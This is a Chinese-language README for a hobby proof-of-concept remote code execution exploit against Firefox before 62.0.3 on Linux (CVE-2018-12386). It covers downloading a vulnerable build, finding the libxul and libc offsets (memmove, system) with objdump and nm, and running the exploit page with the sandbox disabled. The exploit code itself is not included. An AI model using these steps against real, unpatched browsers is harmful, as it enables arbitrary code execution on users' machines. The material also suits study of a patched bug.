
CVE-2018-12386 - Firefox Sandboxed RCE Exploit for Linux (Firefox <v62.0.3)
这里是漏洞 CVE-2018-12386 的一个简单利用程序,该漏洞由 Niklas Baumstark、Samuel Groß 和 Bruno Keith 发现。
这主要是一个我为了好玩而做的概念验证,没有沙盒逃逸,它只适用于
给定的 Linux 设置,其中利用程序所用的偏移量是已知的
(可以在 exploit/offsets.js 中更改)。
此利用程序适用于 Firefox 62.0.3 及 Firefox ESR 60.2.2 之前的版本。
你可以直接从 Mozilla 的 FTP 服务器下载过去的 Firefox 版本:https://ftp.mozilla.org/pub/firefox/releases/
例如,你可以使用适用于 64 位 Linux 的 62.0.2 版本:https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2。
wget https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2
bzip2 -d firefox-62.0.2.tar.bz2
tar xvf firefox-62.0.2.tar
libxul.so 偏移量如果你使用 Firefox 62.0.2,exploit/offsets.js 中提供的偏移量
应该是正确的。
对于其他版本,一个简单的方法是使用
addrof 原语泄漏 JavaScript 函数
Math.max 的地址,然后找到你当前正在利用的 Firefox 实例中 libxul.so 的基址
(例如通过 cat /proc/$(pidof firefox)/maps),
将两者相减即可得到 libxul_math_max 偏移量。
如果你使用 Firefox 62.0.2,exploit/offsets.js 中提供的偏移量
应该是正确的。
对于其他版本,一个简单的方法是使用 objdump。
[asriel@core firefox-62.0.2]$ objdump -d libxul.so | grep -i memmove@GLIBC
8006f0: ff 25 7a ac 40 05 jmpq *0x540ac7a(%rip) # 5c0b370 <memmove@GLIBC_2.2.5>
5c0b370 就是你需要的那一个值,即 libxul.so 中 memmove 的偏移量。
libc.so.6 偏移量这些偏移量完全取决于你使用的 libc 版本。
# libc.so.6 位置
[asriel@core firefox-62.0.2]$ ldd /bin/ls | grep libc.so.6 | cut -d' ' -f3
/usr/lib/libc.so.6
[asriel@core firefox-62.0.2]$ nm /usr/lib/libc.so.6 | grep __memmove_avx_unaligned_erms
0000000000160c90 t __memmove_avx_unaligned_erms
[asriel@core firefox-62.0.2]$ nm /usr/lib/libc.so.6 | grep " system"
0000000000044dd0 W system
一旦你有了 Firefox 和正确的偏移量,你可以通过执行以下命令来测试漏洞利用:
MOZ_DISABLE_CONTENT_SANDBOX=1 /path/to/vulnerable/firefox /path/to/cve-2018-12386/exploit/pwn.html

如果你想打个招呼:@Asri3l